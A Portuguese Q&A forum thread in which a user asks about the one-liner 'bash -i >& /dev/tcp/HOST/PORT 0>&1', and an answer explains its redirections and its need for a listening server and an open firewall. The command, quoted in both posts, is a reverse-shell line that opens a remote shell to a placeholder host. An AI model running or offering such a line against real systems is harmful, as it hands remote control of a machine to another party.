Significado de bash -i e / dev / tcp / HOST / PORT 0 & 1?

9

Eu tentei este bash -i >& /dev/tcp/HOST/PORT 0>&1 , mas não parece funcionar por trás do firewall. O que esse código realmente faz, quais portas são encaminhadas e poderiam funcionar por trás do firewall?

    
por Helos 20.02.2014 / 00:20

1 resposta

13

Esse snippet executa uma nova instância interativa do bash ( bash -i ), em uma conexão TCP com a porta especificada no host especificado, que é criado durante o processo bash. A saída padrão e o erro padrão são enviados por meio dessa conexão ( >& /dev/tcp/HOST/PORT ), e a entrada padrão é lida por meio dessa conexão ( 0>&1 - isso deve ser 0<&1 , mas 0>&1 também funciona).

Não há encaminhamento de porta em andamento. Obviamente, um servidor TCP de algum tipo tem que estar escutando e aceitando conexões naquele HOST: PORT, e o firewall tem que deixar a conexão passar.

    
por 20.02.2014 / 00:59